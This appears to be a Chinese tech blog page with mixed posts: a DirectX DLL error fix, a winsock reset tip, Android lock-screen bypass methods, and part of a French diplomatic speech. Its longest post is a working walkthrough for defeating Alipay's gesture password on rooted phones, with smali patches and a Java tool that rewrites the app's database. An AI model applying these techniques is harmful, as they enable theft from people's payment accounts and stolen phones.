Visual C++ 2005 …[阅读更多]
0xc000007b的解决办法(续)
整理了下可能造成0xc000007…[阅读更多]
运行游戏时出现0xc000007b错误的解决方法 via:VBcom
如图,这个错误使无数玩家烦恼。 出现这个错误,可能是硬件的问题,也可能是软件的问题。但是,由于硬件引起该问题的概率很小,并且除了更换硬件之外没有更好的解决方法,因此本文将详细介绍如何通过软件解决此问题,这也是大家最关心的。 大致介绍一下这个错误是如何发生的。这个错误的本意是提示内存错误,但是通常情况下并不是内存存在问题,而是由于软件的问题产生了这个错误。究竟是什么软件的问题呢?答案是DirectX,并且多数情况下是DirectX 9.0的问题。 也许大家会问了:我玩的游戏都有DirextX 11的特效了,还会和DirectX 9有关系吗?事实上,游戏公司为了游戏的兼容性,往往都是基于DirectX 9.0的API开发游戏,然后加上DirectX 10和DirectX 11的特效,这样的话,不管什么样的显卡都可以玩游戏。也正是如此,DirectX 9.0有问题会影响目前最新的游戏(比如极品飞车15)。还有人会问了:我的Windows 7都能支持DirectX 11了,怎么还不行?这里要做两点说明,首先,Windows 7是最高支持DirectX 11,向下兼容DirectX 9以及DirectX 10,并不是Windows 7只支持DirectX 11;还有,原版的Windows 7中只包含了最基本的DirectX 组件,而游戏需要的往往是较高级的组件(如d3dx9_42.dll、xinput1_3.dll),系统缺失这些关键的文件会造成游戏无法运行。还有人会问:我已经装过DirectX 9.0了,还是不管用呀?请大家一定要牢记一点,不管是32位操作系统还是64位操作系统,一定要安装32位版本的DirectX文件,这是关键。因此请大家一定要从文中给出的链接下载,因为我给出的版本是最新32位文件。 说到这,大家自然就知道解决方法了??安装最新版的DirectX文件。这里我给大家介绍一种简便方法(置顶方法)和两种高级方法。 置顶方法:简便万能,一键修复,使用DirectX修复工具。很多遇到这个问题的人对电脑都不甚了解,即使我非常详尽的介绍了操作方法,但是仍然会有问题。鉴于此,本人特地亲自编写了一款绿色软件??DirectX修复工具。该款软件采用傻瓜式一键操作,只要点一个按钮,就能自动完成校验、检测、修复、注册的功能,十分简便易用。该软件可支持Windows XP、Windows Vista、Windows 7操作系统,可以同时兼容32位与64位操作系统。大家完全不必操心自己的操作系统到底是什么操作系统,需要做的只是下载该软件,然后运行,因此极力推荐普通用户使用该方法。 程序链接:http://pan.baidu.com/s/1qWsKhmW(增强版) 当然,如果您是高级用户,或者置顶方法不能解决您的问题,建议您考虑下述两种高级方法。 方法一:大而全,安装最新版的DirectX 9.0安装包。这种方法的优点是,一次性把系统缺失的文件自动安装,并且自动升级旧有的文件,缺点是安装包较大(90MB以上),如果网速慢的不方便下载。 现在网上有很多的安装包,但其中一些无法运行,会提示系统错误。就连之前微软网站的安装包也会出现类似问题。不过目前微软可能已经意识到这个问题了,发布了新的安装包,应该会解决不少人无法安装的问题。大家可以到微软的官方网站上下载。同时,作为参考,大家也可以到360软件管家下载安装。以下3种下载方式任选其一即可。 微软官方在线安装包: http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=2DA43D38-DB71-4C1B-BC6A-9B6652CD92A3 微软官方离线安装包: http://www.microsoft.com/downloads/en/details.aspx?displaylang=en&FamilyID=3b170b25-abab-4bc3-ae91-50ceb6d8fa8d 下载方式3:在各类软件管家找“Microsoft DirectX 9.0c”下载安装即可。 特别说明,微软提供的安装包在有的电脑上可能安装不了,提示系统错误。这时可以重启后多装几次,如果每次都不行的话建议还是从各类软件管家下载。注意,安装前请务必先手动删除之前自己拷贝到system32或Syswow64文件夹中的dll文件! 方法二:小而精,只安装缺失的文件。经我观察发现,绝大多少游戏不能运行是缺少如下的几个文件:d3dx9_39.dll、d3dx9_40.dll、d3dx9_41.dll、d3dx9_42.dll、d3dx9_43.dll、xinput1_3.dll,因此,只要安装好了这几个文件,就可以顺利运行游戏。文件我已经打包上传,以下两个地址任选其一即可。注意一点,如果你的游戏提示的缺失的文件不在上述6个文件之中,那么你就不能用这个方法。 下载地址1: http://good.gd/875627.htm 下载地址2: 链接: http://pan.baidu.com/s/1hq01l7A 密码: b6xg 下载完上述文件后,我还要说一下文件的用法。解压后大家就可以看到上述6个文件,对于32位的操作系统,请把这6个文件复制到“C:/Windows/System32/”文件夹下或者是复制到游戏目录,与游戏的EXE文件在同一文件夹下;对于64位操作系统,请把这6个文件复制到“C:/Windows/Syswow64/”文件夹下或者是复制到游戏目录,与游戏的EXE文件在同一文件夹下。综上所述,不管是32位操作系统还是64位操作系统,只要把文件复制到游戏目录(与游戏的EXE文件在同一文件夹下)下,都可以解决问题。这步至关重要,千万不要忘记或搞错,否则就会出现"应用程序无法正常启动(0xc000007b)。请单击“确定”关闭程序。"这个错误。 特别说明:不管你使用的是32位的操作系统还是64位的操作系统,一定要使用32位的dll文件,这是关键!对于这个错误,64位系统的玩家一定要把自己的系统当成32位的对待,寻找32位的文件安装才可解决。因此,如果你使用的是之前自己从网上找到dll文件,并且已经按上述方法试过没有成功,不是这个方法有问题,而很可能是你用的dll文件有问题。如果你不能确定你之前从别处找到的dll文件是最新版的32位的文件的话,建议大家按照我提供的地址下载需要的文件(我提供的是最新版的32位的文件),也许你会有意想不到的惊喜。 现在,你可以试试你的游戏了。双击游戏图标,游戏运行了~~ 原文地址:http://blog.csdn.net/vbcom/article/details/6070705 有删改和补充
支付宝钱包手势密码破解实战 via:@闵小奇
背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起,安全、便捷的移动支付需求也越来越大。因此,各大互联网公司纷纷推出了其移动支付平台。其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了。就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了。 正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会。因为移动平台刚刚兴起,人们对移动平台的安全认识度还不够。就拿我身边的很多朋友来说,他们一买来手机就开始root,之后卸载预装软件,下载游戏外挂等等。今天,我们就以破解支付宝钱包的手势密码为例,来深入了解下android系统上的一些安全知识,希望能引起人们对移动平台安全的重视。 在此申明:以下文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用,任何个人或组织不得使用文中提到的技术和代码做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。 实验环境 红米TD版 MIUI-JHACNBA13.0(已越狱) 支付宝钱包8.1.0.043001版 使用工具 APK IDE Smali.jar Ddms SQLite Expert 应用宝 程序分析 准备阶段 安装完支付宝钱包之后,运行软件,我这里选择淘宝帐号登录,界面如图1所示。 图1 登录之后,设置手势密码,如图2所示。 图2 完成上述两步之后,退出支付宝进程。用腾讯应用宝定位到支付宝的安装目录datadatacom.eg.android.AlipayGphone,查看目录结构如图3所示。 图3 实战开始 - 破解手势密码错误次数限制 看到图3所示的目录结构,猜测databases目录下的*.dB数据库文件就是用来保存上述我们设置的密码的。因此,我们使用应用宝的导出功能将databases目录导出到本地。用SQLite Expert工具打开所有的dB文件,分析发现alipayclient.db数据库中的userinfo表中保存了用户名、输入错误次数、手势密码等详细信息,如图4所示。其中的gestureErrorNum字段应该就是保存了手势密码输入错误的次数了,很明显这里已经被加密了。 图4 使用APK IDE对支付宝的安装包进行解包分析。解包完成之后,搜索setgestureErrorNum字样,结果如图5所示。 图5 经过大致分析,UserInfoDao.smali文件中的addUserInfo函数比较可疑,截取其中一段设置手势密码错误次数的代码如下: invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String; move-result-object v1 #调用getGestureErrorNum函数获得未加密的错误次数,并保存到v1寄存器 invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String; move-result-object v2 #调用getUserId函数获得user id,并保存到v2寄存器 invoke-static {v2}, Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String; move-result-object v2 #获取user id的前8个字节,保存到v2寄存器 invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; move-result-object v1 #以user id的前8字节作为key,调用des加密错误次数字符串,并保存到v1寄存器 invoke-virtual {v0, v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V #调用setGestureErrorNum函数,将加密的字符串保存 通过对上述代码的分析得知,第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串,添加log代码验证,代码如图6所示。 图6 保存修改的smali文件,重新编译打包,安装完成之后,输入错误的手势密码,log输出数字依次递增。最后一次输入正确的手势密码,错误次数重新归0。LogCat捕捉到的日志如图7所示。 图7 程序分析到这里,我不禁猜测,在错误次数未加密前,把v1寄存器的值设置为字符串“0”是不是就可以骗过支付宝而可以无限次的输入手势密码了呢?于是乎,我又开始了下面的验证,代码如图8所示。 图8 编译打包,重新安装支付宝,输入错误的手势密码,发现5次错误之后程序还是让我们重新登录。看来我们这里设置错误次数已经晚了,于是乎,继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。其中,AlipayPattern.smali文件的settingGestureError函数引起了我的注意。函数代码如下: .method public settingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V .locals 1 new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder实例 invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; #p3是一个I类型的整型变量,调用StringBuilder. append赋值 move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 #调用toString函数转换成字符串类型,赋给v0 invoke-virtual {p2, v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V #调用setGestureErrorNum设置未加密的错误次数字符串 invoke-static {}, Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication; move-result-object v0 invoke-static {v0}, Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper; move-result-object v0 invoke-virtual {v0, p2}, Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z #调用SecurityDbHelper.addUserInfo函数加密、更新数据库 return-void .end method 分析到这里,想必这里才是最原始的设置手势输入错误次数的地方吧,修改p3的值为0,测试代码如图9所示。 图9 继续打包、编译、测试。随意输入错误的手势密码,支付宝始终显示“密码错误,还可以输入5次”字样,如图10。 图10 至此,手势密码中的错误次数限制已经被我们解除了。理论上来说,我们可以使用穷举法来获取支付宝的手势密码。但是,作为一名分分钟几百万上下的大黑阔来说,使用穷举法来获得密码这种方式,显然是在浪费生命和金钱呀。 越战越勇 ? 查找关键跳转 对于大黑阔们来说,只破解手势输入错误次数限制显然是不够的。下面我们以手势密码的存储展开来说起。查看alipayclient.db数据库的userinfo表可知,手势密码的存储字段为gesturePwd,搜索getGesturePwd函数得到如图11的结果。 图11 搜索到的结果比较多,根据前面对手势密码错误次数限制的分析,这里可以排除几个文件,例如UserInfoDao.smali文件,它主要用来保存一些用户态的信息,可暂时跳过。剩下的smali文件,我们一个个分析过来。在这里我想说的一点是,逆向分析确实是很考验一个人耐心和细心的一件事情,一个恍惚就会迷失在浩瀚的汇编代码中,但是等到你找到关键的调用点,分析出核心的算法时,那么心境会豁然开朗,真是有种踏破铁鞋无觅处,得来全不费工夫的感脚。好了,扯远了,下面我们继续。 经过我的仔细分析,e.smali文件最有可能是比较输入密码的地方,双击上面e.smali文件的LINE 47行,跳转到的是a函数。由于函数比较长,只贴关键部分,代码如下: .method public final a(Ljava/lang/String;)V .locals 4 invoke-virtual {p1}, Ljava/lang/String;->length()I #取输入字符串的长度 move-result v0 sget v1, Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I if-lt v0, v1, :cond_1 #比较字符串长度 :try_start_0 iget-object v0, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo; #获取UserInfo对象 invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String; #调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码 move-result-object v0 invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密过的正确密码的长度 move-result v0 const/16 v1, 0x20 if-le v0, v1, :cond_0 #长度是否小于32 new-instance v0, Ljava/lang/StringBuilder; invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder对象 invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; #将输入的明文手势密码赋值给StringBuilder对象 move-result-object v0 iget-object v1, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo; invoke-virtual {v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String; #调用UserInfo的getUserId函数获取user id move-result-object v1 const-string/jumbo v2, "userInfo" invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; #调用des加密函数,以“userInfo”为key,加密user id字符串 move-result-object v1 invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; #将加密好的user id字符串附加到StringBuilder对象上 move-result-object v0 invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 #StringBuilder对象(输入明文手势的密码 + 加密后的user id)转字符串,并赋值给v0寄存器 invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String; #调用静态的sha1函数,计算出一个hash值 move-result-object v0 :goto_0 iget-object v1, p0, Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo; invoke-virtual {v1}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String; #调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码 move-result-object v1 invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z #比较输入的密码和正确的密码 move-result v0 if-eqz v0, :cond_1 很显然,上面这个if-eqz是关键,如果比较函数equals返回false,那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数,在这个基础上加上1,然后调用settingGestureError函数重新设置错误次数。如果两个字符串相等,那么调用settingGestureError函数把错误次数重新置为0。 下面为了验证我们的猜测,进行如下两步操作: 1、在a函数中加入类似如图12的打印日志代码,这里未全部截图下来,其他地方留给读者自行添加。 图12 2、在if-eqz v0前patch v0,代码如图13所示。 图13 完成上述两步操作之后,保存修改过的smali文件,编译打包,重新安装支付宝钱包客户端,随意输入手势密码。这里引用大魔术师刘谦的一句话,“接下来就是见证奇迹的时刻”。在我们随意输入密码之后,熟悉的支付宝主界面出现在我们眼前,同时LogCat输出日志如图14所示。 图14 日志的组成大致如下: 第一行:用户输入的,还未加密的手势代码; 第二行:保存在数据库中正确的加密后的手势密码; 第三行:未加密的user id; 第四行:采用des加密后的user id; 第五行:拼接用户输入和加密后的user id; 第六行:采用sha1算法计算出来的加密之后的用户输入的手势密码。 通过仔细的分析日志,我们从中可以得出两个结论: 1、真实的手势密码和我们输入的密码是不一样的,但是我们还是进入了支付宝的主界面,证明我们上面第2步中修改的地方非常关键,从而也印证了e.smali文件的a函数确实是比较用户输入和真实密码的关键函数。 2、支付宝是将用户的手势操作转化成对应的数字,然后再做一定的加密处理之后保存到数据库中。比较用户输入的时候,是用相同的加密步骤对用户输入进行加密,再与数据库中保存的密码做比较。数字代码对应如图15所示。 图15 程序分析到这里,我们已经清楚的明白了支付宝手势密码的加密过程和算法,并且通过修改关键跳转的方法,使得我们随意输入手势密码都可以进入支付宝主界面。 仔细思考 ? 还原手势密码? 回过头来仔细想想,手势密码的加密流程是这样的,用户输入+user id组成一个字符串,将该字符串经过sha1算法哈希之后得到另一个加密字符串即为手势密码。其中,user id字符串在alipayclient.db数据库的userinfo表中的userId字段已经表明了,正确的手势密码gesturePwd字段也已经有了。虽然sha1算法不可逆,但是在我们的这个实例中,最长输入是9位,最短为4位,我们完全可以通过已知的信息,采用有限的穷举,就能得出正确的手势代码了。相信对于现在的4核乃至8核cpu手机来说,这点计算应该是很轻松的。 但是,我们难道只能通过穷举来实现暴力破解吗?答案是否定的。其实我们完全可以自己构造一个输入,例如0123,采用和支付宝完全相同的加密流程得到手势密码。然后,通过修改userinfo表的gesturePwd字段内容为上面我们计算出来的手势密码,这样,就能实现随意修改手势密码的目的了。想法有了,下面我们编写代码来验证该方法是否可行。 代码实现 查看支付宝使用的sha1算法可知,该算法与支付宝的整体功能业务耦合度基本为0,于是我将sha1算法所在的smali文件转换成jar包,然后导入到我的工程中,这样,就可以直接调用和支付宝完全相同的sha1算法了。程序代码如下所示: protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); setTitle("支付宝手势密码修改器"); szUerIdString = ""; tvStatus = (TextView) findViewById(R.id.textStatus); etEncryptUserid = (EditText) findViewById(R.id.editEncryptUserId); etDecryptUserid = (EditText) findViewById(R.id.editDecrypUserId); etMyPwd = (EditText) findViewById(R.id.editMyselfPwd); btnOK = (Button) findViewById(R.id.btnSetting); if (!RootUtils.hasRootPermission()) { tvStatus.setText("本程序只能在ROOT过的手机上运行!"); return; } if (!RootUtils.hasInstalledApp(MainActivity.this, "com.eg.android.AlipayGphone")) { tvStatus.setText("请确认您已经安装了支付宝钱包!"); return; } String szUserId = getUserId(); if (!szUserId.isEmpty()) { szUerIdString = szUserId; etEncryptUserid.setText(szUserId); tvStatus.setText("读取user id成功,请输入自定义手势密码!"); String szDecryptUserid = decryptUserid(szUserId, "userInfo"); if (!szDecryptUserid.isEmpty()) { etDecryptUserid.setText(szDecryptUserid); } else { tvStatus.setText("解密user id失败!"); } btnOK.setOnClickListener(new OnClickListener() { @Override public void onClick(View view) { String szPwd = etMyPwd.getText().toString(); if (szPwd.isEmpty()) { Toast.makeText(MainActivity.this, "设置的自定义密码不能为空,请重新输入!", Toast.LENGTH_LONG).show(); } else { StringBuilder sBuilder = new StringBuilder(); sBuilder.append(szPwd); sBuilder.append(szUerIdString); String tmp = sBuilder.toString(); String sha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp); Log.v(TAG, sha1); if (!sha1.isEmpty()) { if (updateDatabaseGesturePwd(szUerIdString, sha1)) { tvStatus.setText("设置自定义密码成功!"); } else { tvStatus.setText("设置自定义密码失败!"); } } } } }); } else { tvStatus.setText("获取user id失败!"); } } 获取user id和修改手势密码的代码如下: // 获取加密的user id private String getUserId() { String szRet = ""; // 修改数据库文件的读写权限 RootUtils.RootCommand("chmod 666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db"); RootUtils.RootCommand("chmod 666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal"); try { Context context = createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY); SQLiteDatabase dB =context.openOrCreateDatabase("alipayclient.db", 0, null); Cursor cursor = db.rawQuery("select * from userinfo", null); if (cursor.moveToFirst()) { szRet = cursor.getString(USER_ID_INDEX) ; } db.close(); } catch (NameNotFoundException e1) { e1.printStackTrace(); } return szRet; } // 修改手势密码 private boolean updateDatabaseGesturePwd(String szUerId, String szPwd) { boolean bRet = false; if (szPwd.isEmpty() || szUerId.isEmpty()) { return bRet; } try { Context context = createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY); SQLiteDatabase dB =context.openOrCreateDatabase("alipayclient.db", 0, null); ContentValues cv = new ContentValues(); cv.put("gesturePwd", szPwd); String[] args = {String.valueOf(szUerId)}; int n = db.update("userinfo", cv, "userId=?", args); if (n> 0) { bRet = true; } db.close(); } catch (NameNotFoundException e1) { e1.printStackTrace(); } return bRet; } 最后,程序运行效果如图16所示。 图16 输入自定义密码,点击确认,程序提示设置成功。此时,打开支付宝,输入我们的自定义手势代码即可解锁支付宝进入熟悉的主界面了。 后记 如上所述,通过修改支付宝钱包数据库来达到破解目的的方法是需要在已经root过的手机上才能使用的。设想一下这种情况,我的手机已经root,并且手机被盗。那么,除了手机上的艳照有可能泄露之外,小偷还可以通过修改支付宝的手势密码来登录我的支付宝,因此,造成直接的金钱损失也不是没有可能。 一般来说,普通用户日常使用的手机尽量不要去root,也不要随便去下载来历不明的软件和外挂。
【浏览器】chromefirefox无法上网,IE没问题的解决方法
今天早上一开电脑发现,chrome没法上网了,但是基于IE内核的QQ浏览器和IE 11却都能上网。而且QQ啊神马的都能上网。 重启?不好用!清除cookie和缓存?同样不好用! 没办法只能祭出超级大招??CMD。 首先用管理员身份运行CMD,然后执行netsh winsock reset. 那么“netsh winsock reset”这个命令是什么意思呢? netsh winsock reset命令,作用是重置 Winsock 目录。如果一台机器上的Winsock协议配置有问题的话将会导致网络连接等问题,就需要用netsh winsock reset命令来重置Winsock目录借以恢复网络。这个命令可以重新初始化网络环境,以解决由于软件冲突、病毒原因造成的参数错误问题。 netsh是一个能够通过命令行操作几乎所有网络相关设置的接口,比如设置IP,DNS,网卡,无线网络等,Winsock是系统内部目录,Winsock是Windows网络编程接口,winsock工作在应用层,它提供与底层传输协议无关的高层数据传输编程接口,reset是对Winsock的重置操作。当执行完winsock的命令重启计算机后,需要重新配置IP。
我的手机编年史
做一个自己手机编年史的想法来自于MIUI的手机控。后来手机控不在更新手机库…[阅读更多]
破解安卓手机屏幕锁(以密码和图案为例)(二)
NO.3 桌面RE管理器。 很多人知道手机端的RE资源管理器,却很少有听说过桌面端也有吧!?网上有很多这样的软件 比如我用的就有两张,一种是和和手机端比较像的: 另一种是用的文件夹连接: 这些 操作比手机上更加方便,所以说呢,一定要谨慎,如果木有备份的情况下删除了不该删除的系统文件,后悔的可就是自己了! 连接上之后和ADB一样,都是删除data/system文件夹中的.key文件。 NO.4 利用类似刷机大师这类的软件进行解锁 这类软件一般会提供非常“强大”的辅助工具,其实究其根本还是使用ADB,不过是这些软件通过把ADB中需要手动输入命令变成了点下图标,更加人性化。 NO.5 利用谷歌账户或者手机厂商提供的相关解决方法解锁 引用谷歌官方的文字 “ 您可以通过输入您的 Google 帐户用户名和密码来将手机解锁,步骤如下: 1.在解锁屏幕中,输入解锁图案五次。 2.在第五次尝试后,手机将要求您等待 30 秒,然后点击确定。 3.如果显示屏关闭,可按电源键将显示屏打开,然后按锁定屏幕中的滑块,向下滑动将屏幕解锁。 4.点击忘记图案按钮(它会显示在屏幕的右下角)。 5.输入您的 Google 帐户名称和密码,然后点击登录。接着会提示您创建新的屏幕解锁图案。如果不想再创建,请点击取消 Google帐户密码都忘记了?在手机或计算机上,打开网页浏览器,然后前往:https://www.google.com/accounts/ForgotPasswd。 输入您用于登录 Google 帐户的电子邮件地址或用户名。 完成单词验证过程。输入屏幕上显示的字符,然后单击提交。 系统将向您创建 Google 帐户时提供的备用电子邮件地址发送一封电子邮件。按照电子邮件中的说明重置您的密码。 如果没有备用电子邮件地址,或不能访问用于创建 Google 帐户的电子邮件地址,您可以在 24 小时后通过回答密码恢复用的安全问题来重置您的 Google 帐户。 ” 不同的手机厂商还会提供其他的渠道来进行解锁,因为笔者的手机是三星NOTE3,所以以三星为例,引用三星客服的标准回答: “ 如果您的手机绑定过三星账户,手机上数据是开启的情况下,您可尝试登陆: http://findmymobile.samsung.cn/login.do 使用三星账户登陆后,有屏幕解锁选项,通过此功能解锁。通过此方式操作后将会把之前设置的锁屏方式,直接更改为默认的滑动解锁方式。 如果您的手机没有绑定过三星账户或数据未开启,此情况需联系服务中心帮助您安全解锁。 ” 总结: 第一种方法,简单粗暴。但是所有数据都会被清除。 第二种方法,需要取得ROOT权限,并且在没有锁屏的时候就授权adb shell root权限,有很大的局限性。并且因为需要获取ROOT会造成行货手机无法保修。但是优点在于可以保存所有数据。 第三种方法和第四种方法都是基于第二种方法来实现,同样具有第二种方法的优缺点。 同时第三种方法由于其对手机文件的操作比在手机上更加方便,所以更容易造成误删系统文件,所以要小心,不然之后重新刷机一条路。 第四种方法只需要一键来完成,不过由于安卓系统的开放性,不保证100%成功。同时需要提前授权守护程序在手机端的ROOT权限。 第五种方法则需要提前在手机上绑定相关账户,并且保证手机处于联网状态。 可以说这五种方法各有利弊,大家可以自行选择
破解安卓手机屏幕锁(以密码和图案为例)(一)
安卓系统本身自带的屏幕锁有有很多种,再加上由于其开放性而造成的各家厂商自行添加的屏幕锁方式更是多种多样,但是常见的就属锁屏密码和图案锁屏这2种了。另外安卓手机很少有在硬件层次设置加密措施的,所以说基本上下面所说的方法适用于大部分ROM。 NO.1 Wipe 什么是Wipe呢?经常刷机的童鞋肯定不陌生,Wipe其实就是恢复出厂设置的意思,手机所有的信息都会被删除。在刷机时还会提到双Wipe,双Wipe就是指是指清楚缓存和内存数据。 有人又说了怎样才能Wipe呢?这时候我们需要Recovery,解释下Recovery,Recovery模式指的是一种可以对安卓机内部的数据或系统进行修改的模式,也叫工程模式(类似于Windows PE)。在这个模式下我们可以刷入新的安卓系统,或者对已有的系统进行备份或升级,也可以在此恢复出厂设置。一般手机都会带一个recovery,另外为了方便使用很多大神会发布自制第三方Recovery,会比官方增加一些功能,比如中文支持,触屏支持等等,自己可以在网上下载适合的第三方recovery刷入本机。以笔者的三星手机为例,关机状态下电源键和音量+键同时按下就可以进入Recovery。 以从网上找到的一张图为例,其他的也都大同小异。 我们要执行的是wipe data/factory reset来清除数据,wipe cache partition来清除系统缓存。 这个方法的好处是简单方便,缺点是数据全部丢失。可以用在数据有备份或者其他方式无法使用的情况下。 NO.2 Adb删除密码文档 这里又有个名词,adb。adb是什么呢?它的全称为Android Debug Bridge,正如它的名字那样,就是起到调试桥的作用。说白了就是debug工具。它来自于Android SDK,用这个工具可以直接操作管理android模拟器或者真实的andriod设备,其实很多桌面端的安卓手机管理工具其核心技术就是这个5M多一点的小程序。 那我用Adb来破解的原理是什么呢?其实和使用linux、ms-dos或者win pe破解windows密码是一样的,都是将其保存密码的文档删除。 在安卓里,密码文件保存在data/system文件夹里的后缀为.key文件中,我们删除这个文件就好了 (未完待续……)
习近平在中法建交50周年纪念大会上的讲话
DISCOURS DU PR?SIDENT DE LA R?PUBLIQUE POPULAIRE DE CHINE XI JINPING ? LA CONF?RENCE COMM?MORANT LE CINQUANTENAIRE DES RELATIONS DIPLOMATIQUES ENTRE LA CHINE ET LA FRANCE (Paris, 27 mars 2014) Monsieur le Président, Mesdames et Messieurs, Chers Amis, C’est un grand plaisir pour moi de me retrouver parmi vous, à Paris, en cette belle saison printanière pour célébrer ensemble le cinquantenaire des relations diplomatiques entre la Chine et la France. Je voudrais tout d’abord exprimer, au nom du gouvernement et du peuple chinois et en mon nom personnel, mes salutations cordiales et mes meilleurs v?ux à vous tous, et à travers vous, au peuple fran?ais ami et à tous ceux qui ont ?uvré depuis longtemps à la promotion de l’amitié sino-fran?aise. Nous sommes à un grand moment charnière pour la relation entre nos deux pays. Aujourd’hui en visite en France, je voudrais partager avec vous les beaux souvenirs du gouvernement et du peuple chinois de l’amitié entre les deux peuples et de vous transmettre leur volonté sincère d’approfondir le partenariat global stratégique sino-fran?ais. ? Quand vous buvez de l’eau, n’oubliez jamais ceux qui ont creusé le puits. ? En ce moment précis, nos pensées vont aux deux grands hommes visionnaires - le Président Mao Zedong et le Général de Gaulle qui, il y a 50 ans, en pleine guerre froide, ont pris la décision historique d’établir des relations diplomatiques au niveau d’ambassadeur entre la Chine et la France. Ce geste qui a ouvert la porte à la connaissance mutuelle et aux échanges entre Chinois et Fran?ais, et aussi entre Chinois et Occidentaux, a noué entre ces deux grands pays une relation particulière qui figure depuis lors à la pointe des relations entre la Chine et les principaux pays développés de l’Occident. 50 ans se sont écoulés. Nos deux pays et nos deux peuples ont cultivé ensemble dans le développement de leur relation un esprit d’indépendance, de compréhension mutuelle, de clairvoyance et de coopération gagnant-gagnant, esprit qui sera très important pour nous guider dans notre marche vers un plus bel avenir de cette relation. - L’indépendance, c’est le caractère commun aux nations chinoise et fran?aise. La Chine et la France sont deux vieilles nations dotées chacune d’une civilisation particulière. Nées dans les bassins de leurs fleuves nourriciers, le fleuve Jaune et le Chang Jiang pour l’une, la Loire et le Rh?ne pour l’autre, elles ont longtemps joué un r?le moteur dans le développement des civilisations de leurs régions. Les idées des grands ma?tres chinois comme Laozi, Confucius, Mozi, Mencius et Zhuangzi ont, de nos jours encore, une valeur universelle, tandis que les pensées des illustres philosophes fran?ais demeurent un trésor intellectuel de toute l’humanité. Dans l’ère moderne, nos deux pays ont tous vécu des périodes de souffrances, de guerres et de recherche difficile de modèles de développement et trouvé des voies adaptées à leurs réalités nationales. Nous poursuivons tous une politique extérieure d’indépendance et refusons de nous laisser entra?ner par le tourbillon du monde. Nous préconisons tous le multilatéralisme, la multipolarisation et la démocratisation des relations internationales et y travaillons avec détermination. - La compréhension mutuelle, c’est le fondement essentiel du développement de la relation sino-fran?aise. Le Général de Gaulle disait il y a 50 ans : ? Qui sait si les affinités qui existent notoirement entre les deux nations pour tout ce qui a trait aux choses de l’esprit, compte tenu du fait qu’elles se portent, dans leurs profondeurs, sympathie et considérations réciproques, ne les conduira pas à une croissante coopération culturelle ? ? C’est vrai. Les cultures spécifiques des deux pays fascinent leurs 